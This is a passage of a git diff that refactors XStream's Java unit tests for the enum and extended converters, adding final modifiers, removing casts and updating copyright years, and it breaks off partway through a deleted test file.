= (PolymorphicEnum) xstream.fromXML(xstream.toXML(in)); + out = xstream.fromXML(xstream.toXML(in)); assertEquals("banana", ((Fruit)out).fruit()); // see Bug ID: 6522780 } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumCustomConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumCustomConverterTest.java index 3ad5dd28b..ff5437497 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumCustomConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumCustomConverterTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2008, 2014 XStream Committers. + * Copyright (C) 2008, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 08. October 2008 by Joerg Schaible */ package com.thoughtworks.xstream.converters.enums; @@ -16,10 +16,6 @@ import junit.framework.TestCase; -// ***** READ THIS ***** -// This class will only compile with JDK 1.5.0 or above as it test Java enums. -// If you are using an earlier version of Java, just don't try to build this class. XStream should work fine without it. - /** * @author Jörg Schaible */ @@ -27,93 +23,94 @@ public class EnumCustomConverterTest extends TestCase { private XStream xstream; + @Override protected void setUp() throws Exception { super.setUp(); xstream = new XStream(); xstream.allowTypes(TypeWithEnums.class); - xstream.allowTypesByWildcard(this.getClass().getName()+"$*"); + xstream.allowTypesByWildcard(this.getClass().getName() + "$*"); xstream.alias("simple", SimpleEnum.class); xstream.alias("polymorphic", PolymorphicEnum.class); } public void testCanBeUsedDirectly() { - xstream.registerConverter(new PolymorphicEnumConverter(PolymorphicEnum.class)); - String expectedXml = "b"; - PolymorphicEnum in = PolymorphicEnum.B; + xstream.registerConverter(new PolymorphicEnumConverter(PolymorphicEnum.class)); + final String expectedXml = "b"; + final PolymorphicEnum in = PolymorphicEnum.B; assertEquals(expectedXml, xstream.toXML(in)); assertEquals(in, xstream.fromXML(expectedXml)); } public void testCanBeUsedForMember() { - xstream.registerConverter(new PolymorphicEnumConverter(PolymorphicEnum.class)); + xstream.registerConverter(new PolymorphicEnumConverter(PolymorphicEnum.class)); xstream.alias("type", TypeWithEnums.class); xstream.autodetectAnnotations(true); - String expectedXml = "" // force format + final String expectedXml = "" // force format + "\n" + " b\n" + " C3\n" + ""; - TypeWithEnums in = new TypeWithEnums(); + final TypeWithEnums in = new TypeWithEnums(); in.poly = PolymorphicEnum.B; in.simple = SimpleEnum.GREEN; in.big = BigEnum.C3; assertEquals(expectedXml, xstream.toXML(in)); - TypeWithEnums out = (TypeWithEnums)xstream.fromXML(expectedXml); + final TypeWithEnums out = xstream.fromXML(expectedXml); assertSame(out.poly, PolymorphicEnum.B); assertSame(out.simple, SimpleEnum.GREEN); } public void testCanBeUsedForAttribute() { - xstream.registerConverter(new PolymorphicEnumConverter(PolymorphicEnum.class)); + xstream.registerConverter(new PolymorphicEnumConverter(PolymorphicEnum.class)); xstream.alias("type", TypeWithEnums.class); xstream.useAttributeFor(PolymorphicEnum.class); xstream.autodetectAnnotations(true); - String expectedXml = "" // force format + final String expectedXml = "" // force format + "\n" + " C3\n" + ""; - TypeWithEnums in = new TypeWithEnums(); + final TypeWithEnums in = new TypeWithEnums(); in.poly = PolymorphicEnum.B; in.simple = SimpleEnum.GREEN; in.big = BigEnum.C3; assertEquals(expectedXml, xstream.toXML(in)); - TypeWithEnums out = (TypeWithEnums)xstream.fromXML(expectedXml); + final TypeWithEnums out = xstream.fromXML(expectedXml); assertSame(out.poly, PolymorphicEnum.B); assertSame(out.simple, SimpleEnum.GREEN); } public void testCanBeUsedLocallyForAttribute() { - xstream.registerLocalConverter( - TypeWithEnums.class, "poly", new PolymorphicEnumConverter(PolymorphicEnum.class)); + xstream.registerLocalConverter(TypeWithEnums.class, "poly", new PolymorphicEnumConverter( + PolymorphicEnum.class)); xstream.alias("type", TypeWithEnums.class); xstream.useAttributeFor(PolymorphicEnum.class); xstream.autodetectAnnotations(true); - String expectedXml = "" // force format + final String expectedXml = "" // force format + "\n" + " C3\n" + ""; - TypeWithEnums in = new TypeWithEnums(); + final TypeWithEnums in = new TypeWithEnums(); in.poly = PolymorphicEnum.B; in.simple = SimpleEnum.GREEN; in.big = BigEnum.C3; assertEquals(expectedXml, xstream.toXML(in)); - TypeWithEnums out = (TypeWithEnums)xstream.fromXML(expectedXml); + final TypeWithEnums out = xstream.fromXML(expectedXml); assertSame(out.poly, PolymorphicEnum.B); assertSame(out.simple, SimpleEnum.GREEN); } private final static class PolymorphicEnumConverter> extends EnumSingleValueConverter { - private PolymorphicEnumConverter(Class type) { + private PolymorphicEnumConverter(final Class type) { super(type); } @Override - public Object fromString(String str) { + public Object fromString(final String str) { return super.fromString(str.toUpperCase()); } @Override - public String toString(Object obj) { + public String toString(final Object obj) { return super.toString(obj).toLowerCase(); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumMapConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumMapConverterTest.java index b27b251ec..4e6415082 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumMapConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumMapConverterTest.java @@ -1,26 +1,28 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. April 2005 by Joe Walnes */ package com.thoughtworks.xstream.converters.enums; +import java.util.EnumMap; + import com.thoughtworks.xstream.XStream; import junit.framework.TestCase; -import java.util.EnumMap; public class EnumMapConverterTest extends TestCase { private XStream xstream; + @Override protected void setUp() throws Exception { super.setUp(); xstream = new XStream(); @@ -28,21 +30,21 @@ protected void setUp() throws Exception { public void testIncludesEnumTypeInSerializedForm() { xstream.alias("simple", SimpleEnum.class); - EnumMap map = new EnumMap(SimpleEnum.class); + final EnumMap map = new EnumMap(SimpleEnum.class); map.put(SimpleEnum.BLUE, "sky"); map.put(SimpleEnum.GREEN, "grass"); - String expectedXml = "" + - "\n" + - " \n" + - " GREEN\n" + - " grass\n" + - " \n" + - " \n" + - " BLUE\n" + - " sky\n" + - " \n" + - ""; + final String expectedXml = "" + + "\n" + + " \n" + + " GREEN\n" + + " grass\n" + + " \n" + + " \n" + + " BLUE\n" + + " sky\n" + + " \n" + + ""; assertEquals(expectedXml, xstream.toXML(map)); assertEquals(map, xstream.fromXML(expectedXml)); diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumMapperTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumMapperTest.java index 0f3d76b2b..eee599d16 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumMapperTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumMapperTest.java @@ -1,28 +1,23 @@ /* - * Copyright (C) 2008, 2014 XStream Committers. + * Copyright (C) 2008, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 12. February 2008 by Joerg Schaible */ package com.thoughtworks.xstream.converters.enums; +import java.util.ArrayList; +import java.util.List; + import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.annotations.XStreamAsAttribute; import junit.framework.TestCase; -import java.util.ArrayList; -import java.util.List; - - -// ***** READ THIS ***** -// This class will only compile with JDK 1.5.0 or above as it test Java enums. -// If you are using an earlier version of Java, just don't try to build this class. XStream -// should work fine without it. /** * @author Jörg Schaible @@ -31,12 +26,13 @@ public class EnumMapperTest extends TestCase { private XStream xstream; + @Override protected void setUp() throws Exception { super.setUp(); xstream = new XStream(); xstream.alias("simple", SimpleEnum.class); xstream.alias("polymorphic", PolymorphicEnum.class); - xstream.allowTypesByWildcard(getClass().getName()+"$*"); + xstream.allowTypesByWildcard(getClass().getName() + "$*"); } static class Bowl { @@ -46,20 +42,20 @@ static class Bowl { public void testSupportsDefaultImplementationToBeAnEnum() { xstream.alias("bowl", Bowl.class); xstream.addDefaultImplementation(PolymorphicEnum.class, Fruit.class); - String expectedXml = "" // force format + final String expectedXml = "" // force format + "\n" + " B\n" + ""; - Bowl in = new Bowl(); + final Bowl in = new Bowl(); in.fruit = PolymorphicEnum.B; assertEquals(expectedXml, xstream.toXML(in)); - Bowl out = (Bowl)xstream.fromXML(expectedXml); + final Bowl out = xstream.fromXML(expectedXml); assertSame(out.fruit, PolymorphicEnum.B); } static class TypeWithEnums { PolymorphicEnum poly; - @XStreamAsAttribute + @XStreamAsAttribute SimpleEnum simple; BigEnum big; } @@ -68,27 +64,27 @@ public void testSupportsEnumAsAttribute() { xstream.alias("type", TypeWithEnums.class); xstream.useAttributeFor(PolymorphicEnum.class); xstream.autodetectAnnotations(true); - String expectedXml = "" // force format + final String expectedXml = "" // force format + "\n" + " C3\n" + ""; - TypeWithEnums in = new TypeWithEnums(); + final TypeWithEnums in = new TypeWithEnums(); in.poly = PolymorphicEnum.B; in.simple = SimpleEnum.GREEN; in.big = BigEnum.C3; assertEquals(expectedXml, xstream.toXML(in)); - TypeWithEnums out = (TypeWithEnums)xstream.fromXML(expectedXml); + final TypeWithEnums out = xstream.fromXML(expectedXml); assertSame(out.poly, PolymorphicEnum.B); assertSame(out.simple, SimpleEnum.GREEN); } public void testEnumsAreImmutable() { - List in = new ArrayList(); + final List> in = new ArrayList>(); in.add(SimpleEnum.GREEN); in.add(SimpleEnum.GREEN); in.add(PolymorphicEnum.A); in.add(PolymorphicEnum.A); - String expectedXml = "" + final String expectedXml = "" + "\n" + " GREEN\n" + " GREEN\n" diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumSetConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumSetConverterTest.java index e5cf8d340..9f6218dc3 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumSetConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumSetConverterTest.java @@ -1,25 +1,28 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2013 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. April 2005 by Joe Walnes */ package com.thoughtworks.xstream.converters.enums; +import java.util.EnumSet; + import com.thoughtworks.xstream.XStream; + import junit.framework.TestCase; -import java.util.EnumSet; public class EnumSetConverterTest extends TestCase { private XStream xstream; + @Override protected void setUp() throws Exception { super.setUp(); xstream = new XStream(); @@ -27,9 +30,9 @@ protected void setUp() throws Exception { public void testPutsEnumsInCompactCommaSeparatedString() { xstream.alias("simple", SimpleEnum.class); - EnumSet set = EnumSet.of(SimpleEnum.GREEN, SimpleEnum.BLUE); + final EnumSet set = EnumSet.of(SimpleEnum.GREEN, SimpleEnum.BLUE); - String expectedXml = "GREEN,BLUE"; + final String expectedXml = "GREEN,BLUE"; assertEquals(expectedXml, xstream.toXML(set)); assertEquals(set, xstream.fromXML(expectedXml)); @@ -37,13 +40,13 @@ public void testPutsEnumsInCompactCommaSeparatedString() { public void testSupportsJumboEnumSetsForMoreThan64Elements() { xstream.alias("big", BigEnum.class); - EnumSet jumboSet = EnumSet.allOf(BigEnum.class); + final EnumSet jumboSet = EnumSet.allOf(BigEnum.class); - String expectedXml = "" + - "A1,B1,C1,D1,E1,F1,G1,H1,I1,J1,K1,L1,M1,N1,O1,P1,Q1,R1,S1,T1,U1,V1,W1,X1,Y1,Z1," + - "A2,B2,C2,D2,E2,F2,G2,H2,I2,J2,K2,L2,M2,N2,O2,P2,Q2,R2,S2,T2,U2,V2,W2,X2,Y2,Z2," + - "A3,B3,C3,D3,E3,F3,G3,H3,I3,J3,K3,L3,M3,N3,O3,P3,Q3,R3,S3,T3,U3,V3,W3,X3,Y3,Z3" + - ""; + final String expectedXml = "" + + "A1,B1,C1,D1,E1,F1,G1,H1,I1,J1,K1,L1,M1,N1,O1,P1,Q1,R1,S1,T1,U1,V1,W1,X1,Y1,Z1," + + "A2,B2,C2,D2,E2,F2,G2,H2,I2,J2,K2,L2,M2,N2,O2,P2,Q2,R2,S2,T2,U2,V2,W2,X2,Y2,Z2," + + "A3,B3,C3,D3,E3,F3,G3,H3,I3,J3,K3,L3,M3,N3,O3,P3,Q3,R3,S3,T3,U3,V3,W3,X3,Y3,Z3" + + ""; assertEquals(expectedXml, xstream.toXML(jumboSet)); assertEquals(jumboSet, xstream.fromXML(expectedXml)); @@ -51,9 +54,9 @@ public void testSupportsJumboEnumSetsForMoreThan64Elements() { public void testSupportsPolymorphicEnums() { xstream.alias("poly", PolymorphicEnum.class); - EnumSet set = EnumSet.allOf(PolymorphicEnum.class); + final EnumSet set = EnumSet.allOf(PolymorphicEnum.class); - String expectedXml = "A,B,C"; + final String expectedXml = "A,B,C"; assertEquals(expectedXml, xstream.toXML(set)); assertEquals(set, xstream.fromXML(expectedXml)); @@ -61,9 +64,9 @@ public void testSupportsPolymorphicEnums() { public void testEmptyEnumSet() { xstream.alias("simple", SimpleEnum.class); - EnumSet set = EnumSet.noneOf(SimpleEnum.class); + final EnumSet set = EnumSet.noneOf(SimpleEnum.class); - String expectedXml = ""; + final String expectedXml = ""; assertEquals(expectedXml, xstream.toXML(set)); assertEquals(set, xstream.fromXML(expectedXml)); diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumToStringConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumToStringConverterTest.java index 32dfdea4c..d3762dde7 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumToStringConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumToStringConverterTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2013 XStream Committers. + * Copyright (C) 2013, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -14,12 +14,9 @@ import java.util.Map; import com.thoughtworks.xstream.XStream; -import junit.framework.TestCase; +import junit.framework.TestCase; -// ***** READ THIS ***** -// This class will only compile with JDK 1.5.0 or above as it test Java enums. -// If you are using an earlier version of Java, just don't try to build this class. XStream should work fine without it. /** * @author Jörg Schaible @@ -28,6 +25,7 @@ public class EnumToStringConverterTest extends TestCase { private XStream xstream; + @Override protected void setUp() throws Exception { super.setUp(); xstream = new XStream(); @@ -35,33 +33,32 @@ protected void setUp() throws Exception { xstream.alias("big", BigEnum.class); xstream.alias("polymorphic", PolymorphicEnum.class); - Map map = new HashMap(); + final Map map = new HashMap(); map.put("0xff0000", SimpleEnum.RED); map.put("0x00ff00", SimpleEnum.GREEN); map.put("0x0000ff", SimpleEnum.BLUE); xstream.registerConverter(new EnumToStringConverter(SimpleEnum.class, map)); xstream.registerConverter(new EnumToStringConverter(BigEnum.class)); - xstream.registerConverter(new EnumToStringConverter( - PolymorphicEnum.class)); + xstream.registerConverter(new EnumToStringConverter(PolymorphicEnum.class)); } public void testMapsEnumToProvidedStringValue() { - String expectedXml = "0x00ff00"; - SimpleEnum in = SimpleEnum.GREEN; + final String expectedXml = "0x00ff00"; + final SimpleEnum in = SimpleEnum.GREEN; assertEquals(expectedXml, xstream.toXML(in)); assertEquals(in, xstream.fromXML(expectedXml)); } public void testMapsEnumToStringDefaultValue() { - String expectedXml = "C3"; - BigEnum in = BigEnum.C3; + final String expectedXml = "C3"; + final BigEnum in = BigEnum.C3; assertEquals(expectedXml, xstream.toXML(in)); assertEquals(in, xstream.fromXML(expectedXml)); } public void testMapsToPolymorphicStringValue() { - String expectedXml = "banana"; - PolymorphicEnum in = PolymorphicEnum.B; + final String expectedXml = "banana"; + final PolymorphicEnum in = PolymorphicEnum.B; assertEquals(expectedXml, xstream.toXML(in)); assertEquals(in, xstream.fromXML(expectedXml)); } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/enums/PolymorphicEnum.java b/xstream/src/test/com/thoughtworks/xstream/converters/enums/PolymorphicEnum.java index a0a910dca..54088d3ca 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/enums/PolymorphicEnum.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/enums/PolymorphicEnum.java @@ -1,33 +1,36 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2013 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2013, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. April 2005 by Joe Walnes */ package com.thoughtworks.xstream.converters.enums; enum PolymorphicEnum implements Fruit { A() { + @Override public String fruit() { return "apple"; } }, B() { + @Override public String fruit() { return "banana"; } }, C; - + + @Override public String fruit() { return "unknown"; } - + @Override public String toString() { return fruit(); diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/enums/SimpleEnum.java b/xstream/src/test/com/thoughtworks/xstream/converters/enums/SimpleEnum.java index 2b691d1c3..1cfd8c965 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/enums/SimpleEnum.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/enums/SimpleEnum.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,6 +11,6 @@ */ package com.thoughtworks.xstream.converters.enums; -enum SimpleEnum { +public enum SimpleEnum { RED, GREEN, BLUE; } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/DurationConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/DurationConverterTest.java index 583a30587..d15cbeb92 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/DurationConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/DurationConverterTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007 XStream Committers. + * Copyright (C) 2007, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -27,12 +27,11 @@ public class DurationConverterTest extends TestCase { public void testConversion() throws Exception { final SingleValueConverter converter = new DurationConverter(); DatatypeFactory factory = DatatypeFactory.newInstance(); - for (int i = 0; i < STRINGS.length; i++) { - final String s = STRINGS[i]; - Duration o = factory.newDuration(s); - assertEquals(s, converter.toString(o)); - assertEquals(o, converter.fromString(s)); - } + for (String s : STRINGS) { + Duration o = factory.newDuration(s); + assertEquals(s, converter.toString(o)); + assertEquals(o, converter.fromString(s)); + } } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/EncodedByteArrayConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/EncodedByteArrayConverterTest.java index 6bcb2cdbb..18017e0cb 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/EncodedByteArrayConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/EncodedByteArrayConverterTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; @@ -14,55 +14,57 @@ import com.thoughtworks.acceptance.AbstractAcceptanceTest; import com.thoughtworks.acceptance.objects.StandardObject; + public class EncodedByteArrayConverterTest extends AbstractAcceptanceTest { public void testMarshallsCharArrayAsSingleString() { - byte[] input = {0, 120, -124, 22, 33, 0, 5}; - String expected = "AHiEFiEABQ=="; + final byte[] input = {0, 120, -124, 22, 33, 0, 5}; + final String expected = "AHiEFiEABQ=="; assertBothWays(input, expected); } public void testUnmarshallsOldByteArraysThatHaveNotBeenEncoding() { - // for backwards compatability - String input = "" - + "\n" - + " 0\n" - + " 120\n" - + " -124\n" - + " 22\n" - + " 33\n" - + " 0\n" - + " 5\n" - + ""; + // for backwards compatibility + final String input = "" + + "\n" + + " 0\n" + + " 120\n" + + " -124\n" + + " 22\n" + + " 33\n" + + " 0\n" + + " 5\n" + + ""; - byte[] expected = {0, 120, -124, 22, 33, 0, 5}; + final byte[] expected = {0, 120, -124, 22, 33, 0, 5}; assertByteArrayEquals(expected, (byte[])xstream.fromXML(input)); } public void testUnmarshallsEmptyByteArrays() { - byte[] input = {}; - String expected = ""; + final byte[] input = {}; + final String expected = ""; assertBothWays(input, expected); } public static class TestObject extends StandardObject { - private byte[] data; - private boolean something; + private static final long serialVersionUID = 200504L; + byte[] data; + boolean something; } public void testUnmarshallsEmptyByteArrayAsFieldOfAnotherObject() { // exposes a weird bug that was in the XML pull readers. - TestObject in = new TestObject(); + final TestObject in = new TestObject(); in.data = new byte[0]; xstream.alias("TestObject", TestObject.class); - String expectedXml = "" + - "\n" + - " \n" + - " false\n" + - ""; + final String expectedXml = "" + + "\n" + + " \n" + + " false\n" + + ""; assertBothWays(in, expectedXml); } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/FontConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/FontConverterTest.java index e38f51d67..a6aa6ee11 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/FontConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/FontConverterTest.java @@ -1,16 +1,21 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2014, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2014, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 08. July 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; +import java.awt.Font; +import java.awt.Toolkit; +import java.awt.font.TextAttribute; +import java.util.Map; + import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.converters.reflection.PureJavaReflectionProvider; @@ -18,10 +23,6 @@ import junit.framework.TestCase; import junit.framework.TestSuite; -import java.awt.Font; -import java.awt.Toolkit; -import java.awt.font.TextAttribute; -import java.util.Map; public class FontConverterTest extends TestCase { private XStream xstream; @@ -32,11 +33,12 @@ public static Test suite() { try { new Font("Arial", Font.BOLD, 20); return new TestSuite(FontConverterTest.class); - } catch (Throwable t) { + } catch (final Throwable t) { return new TestSuite(); - } + } } + @Override protected void setUp() throws Exception { super.setUp(); // fonts should be serializable also with pure Java @@ -47,7 +49,7 @@ protected void setUp() throws Exception { public void testConvertsToFontThatEqualsOriginal() { // execute - Font out = (Font) xstream.fromXML(xstream.toXML(in)); + final Font out = (Font)xstream.fromXML(xstream.toXML(in)); // assert assertEquals(in, out); @@ -55,36 +57,36 @@ public void testConvertsToFontThatEqualsOriginal() { public void testProducesFontThatHasTheSameAttributes() { // execute - Font out = (Font) xstream.fromXML(xstream.toXML(in)); + final Font out = xstream.fromXML(xstream.toXML(in)); // assert - Map inAttributes = in.getAttributes(); - Map outAttributes = out.getAttributes(); + final Map inAttributes = in.getAttributes(); + final Map outAttributes = out.getAttributes(); assertEquals(inAttributes, outAttributes); } - + public void testUnmarshalsCurrentFormat() { // XML representation since 1.4.5 - String xml= ("" - + "\n" - + " \n" - + " 2.0\n" - + " \n" - + " \n" - + " 20.0\n" - + " \n" - + " Arial\n" - + "").replace('\'', '"'); - Font out = (Font) xstream.fromXML(xml); - + final String xml = ("" + + "\n" + + " \n" + + " 2.0\n" + + " \n" + + " \n" + + " 20.0\n" + + " \n" + + " Arial\n" + + "").replace('\'', '"'); + final Font out = xstream.fromXML(xml); + // assert assertEquals(in, out); } - + public void testUnmarshalsOldFormat() { // XML representation pre 1.4.5 - String xml = "" + final String xml = "" + "\n" + " \n" + " \n" @@ -117,8 +119,8 @@ public void testUnmarshalsOldFormat() { + " \n" + " \n" + ""; - Font out = (Font) xstream.fromXML(xml); - + final Font out = xstream.fromXML(xml); + // assert assertEquals(in, out); } @@ -128,7 +130,7 @@ public void testCorrectlyInitializesFontToPreventJvmCrash() { // native code, whenever the font is rendered to screen. // execute - Font out = (Font) xstream.fromXML(xstream.toXML(in)); + final Font out = xstream.fromXML(xstream.toXML(in)); Toolkit.getDefaultToolkit().getFontMetrics(out); // if the JVM hasn't crashed yet, we're good. diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/GregorianCalendarConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/GregorianCalendarConverterTest.java index a1a64f0d5..04b6056f0 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/GregorianCalendarConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/GregorianCalendarConverterTest.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -27,7 +27,7 @@ public void testCalendar() { final Calendar cal = Calendar.getInstance(TimeZone.getTimeZone("UTC")); final XStream xstream = new XStream(); final String xml = xstream.toXML(cal); - final Calendar serialized = (Calendar)xstream.fromXML(xml); + final Calendar serialized = xstream.fromXML(xml); assertEquals(cal, serialized); } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601DateConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601DateConverterTest.java index bb659f82f..85d5c0cab 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601DateConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601DateConverterTest.java @@ -1,39 +1,43 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 22. November 2004 by Mauro Talevi */ package com.thoughtworks.xstream.converters.extended; -import com.thoughtworks.xstream.testutil.TimeZoneChanger; - -import junit.framework.TestCase; - import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; +import com.thoughtworks.xstream.core.JVM; +import com.thoughtworks.xstream.testutil.TimeZoneChanger; + +import junit.framework.TestCase; + + public class ISO8601DateConverterTest extends TestCase { private ISO8601DateConverter converter; + @Override protected void setUp() throws Exception { super.setUp(); converter = new ISO8601DateConverter(); - - // Ensure that this test always run as if it were in the EST timezone. + + // Ensure that this test always run as if it were in the EST (Eastern Standard) timezone (UTC-05:00). // This prevents failures when running the tests in different zones. // Note: 'EST' has no relevance - it was just a randomly chosen zone. TimeZoneChanger.change("EST"); } + @Override protected void tearDown() throws Exception { TimeZoneChanger.reset(); super.tearDown(); @@ -41,11 +45,11 @@ protected void tearDown() throws Exception { public void testUnmashallsInCorrectTimeZone() { // setup - Date in = new Date(); + final Date in = new Date(); // execute - String text = converter.toString(in); - Date out = (Date) converter.fromString(text); + final String text = converter.toString(in); + final Date out = (Date)converter.fromString(text); // verify assertEquals(in, out); @@ -55,23 +59,23 @@ public void testUnmashallsInCorrectTimeZone() { public void testUnmarshallsISOFormatInUTC() throws ParseException { // setup - String isoFormat = "1993-02-14T13:10:30-05:00"; - String simpleFormat = "1993-02-14 13:10:30EST"; + final String isoFormat = "1993-02-14T13:10:30-05:00"; + final String simpleFormat = "1993-02-14 13:10:30EST"; // execute - Date out = (Date) converter.fromString(isoFormat); - Date control = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(simpleFormat); + final Date out = (Date)converter.fromString(isoFormat); + final Date control = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(simpleFormat); // verify for EST - assertEquals("Sun Feb 14 13:10:30 EST 1993", out.toString()); + assertEquals("Sun Feb 14 13:10:30 " + (JVM.isVersion(23) ? "GMT-05:00" : "EST") + " 1993", out.toString()); assertEquals(control, out); } public void testUnmarshallsISOFormatInLocalTime() { // setup - String isoFormat = "1993-02-14T13:10:30"; + final String isoFormat = "1993-02-14T13:10:30"; // execute - Date out = (Date) converter.fromString(isoFormat); + final Date out = (Date)converter.fromString(isoFormat); // verify for EST - Calendar calendar = Calendar.getInstance(); + final Calendar calendar = Calendar.getInstance(); calendar.set(1993, 1, 14, 13, 10, 30); assertEquals(calendar.getTime().toString(), out.toString()); } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601GregorianCalendarConverter17Test.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601GregorianCalendarConverter17Test.java deleted file mode 100644 index 76da1beb0..000000000 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601GregorianCalendarConverter17Test.java +++ /dev/null @@ -1,55 +0,0 @@ -/* - * 2013, 2017 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 21. June 2013 by Joerg Schaible - */ -package com.thoughtworks.xstream.converters.extended; - -import com.thoughtworks.xstream.testutil.TimeZoneChanger; - -import junit.framework.TestCase; - -import java.util.Calendar; -import java.util.GregorianCalendar; -import java.util.Locale; - -public class ISO8601GregorianCalendarConverter17Test extends TestCase { - - protected void setUp() throws Exception { - super.setUp(); - - // Ensure that this test always run as if it were in the timezone of Panama. - // This prevents failures when running the tests in different 